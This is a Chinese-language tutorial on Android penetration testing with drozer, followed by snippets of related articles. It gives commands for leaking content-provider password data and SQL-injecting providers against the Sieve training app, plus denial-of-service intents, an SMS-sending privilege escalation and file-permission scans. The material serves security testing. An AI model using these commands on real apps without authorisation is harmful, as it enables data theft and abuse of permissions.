利用drozer进行Android渗透测试

 一、安装与启动
  1. 安装
  第一步:从http://mwr.to/drozer下载Drozer (Windows Installer)
  第二步:在Android设备中安装agent.apk
  adb install agent.apk
  2. 启动
  第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415
  adb forward tcp:31415 tcp:31415
  第二步:在Android设备上开启Drozer Agent
  选择embedded server-enable
  第三步:在PC上开启Drozer console
  drozer console connect
  二、测试步骤
  1.获取包名
  dz> run app.package.list -f sieve
  com.mwr.example.sieve
  2.获取应用的基本信息
  run app.package.info -a com.mwr.example.sieve
  3.确定攻击面
  run app.package.attacksurface com.mwr.example.sieve
  4.Activity
  (1)获取activity信息
  run app.activity.info -a com.mwr.example.sieve
  (2)启动activity
  run app.activity.start --component com.mwr.example.sieve
  dz> help app.activity.start
  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  [--mimetype MIMETYPE]
  5.Content Provider
  (1)获取Content Provider信息
  run app.provider.info -a com.mwr.example.sieve
  (2)Content Providers(数据泄露)
  先获取所有可以访问的Uri:
  run scanner.provider.finduris -a com.mwr.example.sieve
  获取各个Uri的数据:
  run app.provider.query
  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
  查询到数据说明存在漏洞
  (3)Content Providers(SQL注入)
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
  报错则说明存在SQL注入。
  列出所有表:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
  获取某个表(如Key)中的数据:
  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  (4)同时检测SQL注入和目录遍历
  run scanner.provider.injection -a com.mwr.example.sieve
  run scanner.provider.traversal -a com.mwr.example.sieve
  6 intent组件触发(拒绝服务、权限提升)
  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
  1.查看暴露的广播组件信息:
  run app.broadcast.info -a com.package.name  获取broadcast receivers信息
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
  run app.broadcast.send 通过intent发送broadcast receiver
  (1) 空action
  run app.broadcast.send --component 包名 ReceiverName
  run app.broadcast.send --component 包名 ReceiverName
  (2) 空extras
  run app.broadcast.send --action android.intent.action.XXX
  3.尝试权限提升
  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
  (1)获取service详情
  run app.service.info -a com.mwr.example.sieve
  不使用drozer启动service
  am startservice –n 包名/service名
  (2)权限提升
  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
  7.文件操作
  列出指定文件路径里全局可写/可读的文件
  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  run app.broadcast.send --component 包名 --action android.intent.action.XXX
  8.其它模块
  shell.start 在设备上开启一个交互shell
  tools.file.upload / tools.file.download 上传/下载文件到设备
  tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

最新内容请见作者的GitHub页:http://qaseven.github.io/

时间: 2024-08-24 16:31:48

利用drozer进行Android渗透测试的相关文章

看我如何打造Android渗透测试环境

本文讲的是看我如何打造Android渗透测试环境, 目前世界上有23亿台智能手机,预计到2020年将增长到61亿,到时全球共有73亿人,几乎每人平均有一个智能手机.因为手机可以产生大量关于携用户的个人信息,并且未来也是公司和机构的网络关键切入点,所以这意味着对智能手机的攻击,将会成为黑客的主要攻击对象. 在本文中,我将探讨如何对智能手机进行攻击的各种手段,不过攻击手段通常会因操作系统(iOS,Android,Windows Phone等)的不同而有所变化.由于Android是最广泛使用的操作系统

Android渗透测试虚拟机环境(VM)—AppUse

AppSec Labs最近研制了一个名为AppUse的虚拟机,这个系统是一个免费的Android移动应用安全测试环境,并且包括了AppSec Labs开发的用户定制工具. AppUse 使用AppUse不需要安装虚拟机和测试工具,不需要SSL认证代理软件,所有的一切都已预装完毕.当安全专家看到这款虚拟机后都非常激动,称它为下一个'BackTrack'. 最新内容请见作者的GitHub页:http://qaseven.github.io/

《Metasploit渗透测试手册》—第8章8.3节常用的漏洞利用代码mixins

8.3 常用的漏洞利用代码mixins Metasploit渗透测试手册 Mixins是Ruby语言中应用广泛的一种机制,其作用是将一些功能放置到模块中,并使得Ruby这种单继承语言具备多继承的能力.在漏洞利用代码模块中使用mixins,有助于调用该漏洞利用代码所需的不同函数.在本节中,我们将学习一些重要的Metasploit exploit mixins. 怎样实现 下面快速浏览一些常用的exploit mixins,然后在现有的漏洞利用代码模块中了解其实现机理. Exploit::Remot

《Metasploit渗透测试手册》—第8章8.6节移植并测试新的漏洞利用代码模块

8.6 移植并测试新的漏洞利用代码模块 Metasploit渗透测试手册 在上节中学习了怎样使用可用的概念验证代码开发完整的Metasploit模块,本节中将把该模块保存到合适的位置,并测试其是否正常运转. 准备 了解漏洞利用代码模块要存储的文件夹位置是非常重要的,有助于追踪不同模块所在位置,同时也有助于Metasploit框架理解模块的基本用法.完整的模块脚本构建完成之后,在合适的位置将其保存. 怎样实现 由于上面开发的是漏洞利用代码模块,针对的目标是Windows操作系统,影响的是特定的文件

《Metasploit渗透测试手册》目录—导读

版权声明 Metasploit渗透测试手册 Copyright Packt Publishing 2012. First published in the English language under the title Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide. All Rights Reserved. 本书由英国Packt Publishing公司授权人民

当研究PCI渗透测试指南时,你应该注意这六个方面

尽管PCI DSS 3.0版本已经全面推出,但仍然有很多关于企业难以遵守11.3章节中列出的PCI渗透测试要求的讨论. 为了帮助企业充分了解PCI DSS 3.0要求,PCI安全标准委员会在2015年3月发布了PCI DSS补充信息:渗透测试指南.该文档详细介绍了渗透测试过程的一般方法,从范围界定到测试不同的网络层,再到测试后续步骤(例如报告)等. PCI渗透测试文档以及PCI DSS合规所要求的方法的优点是,并没有什么新东西.除了提到云计算环境.网络钓鱼以及缩小持卡人数据环境范围等新概念外,这

Nexus设备渗透测试平台 – Kali Linux NetHunter

NetHunter是一个基于Kali Linux为Nexus设备构建的Android渗透测试平台,其中包括一些特殊和独特的功能.NetHunter支持无线802.11注入,一键MANA AP搭建,HID键盘(类Teensy攻击)以及BadUSB MITM攻击测试.你只需拥有一台Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10或OnePlus即可玩耍. 功能特性 802.11无线注入和AP模式支持,支持多种USB无线网卡 能够进行USB HID键盘攻击测试

渗透测试员分享黑客最常利用的那些漏洞

本文讲的是 :  渗透测试员分享黑客最常利用的那些漏洞  ,  [IT168 编译]网站遭到攻击以及各种数据泄露事故(例如Anonymous攻击排名前100的大学)让企业疑惑这些攻击者是如何侵入系统以及为什么这么容易攻击.这些遭受攻击的不同企业中存在哪些常见漏洞?攻击者最常利用的漏洞是哪些? 我们询问了很多渗透测试人员,他们通常能够利用哪些主要漏洞,这些渗透测试人员有些在大学和企业环境工作,有些是每周为各种类型客户执行渗透测试的全职安全顾问. 这些渗透测试人员几乎都有类似的漏洞清单.每份清单的最

一个利用无人机进行渗透测试的“犯罪”故事

即便一台物理隔离的PC被恶意软件感染,如何与这台PC通信还是一个几乎无法解决的问题. 网络犯罪分子通过精心构造的鱼叉式钓鱼攻击,设法感染了 Contoso Ltd 公司设计部门的一台主机,现在需要与这台主机秘密的取得联系.问题是,Contoso的网络防御系统非常坚固,与恶意软件的通信会被检测出来. 为了躲避检测,因此犯罪分子需要一个不在该公司安全系统(超级钢铁卫士墙盾 2300,配合"军事级"双重数据防泄漏保护技术)监控范围内的通道. 他们考虑了几种可能的秘密通信方式,如无法听到的音频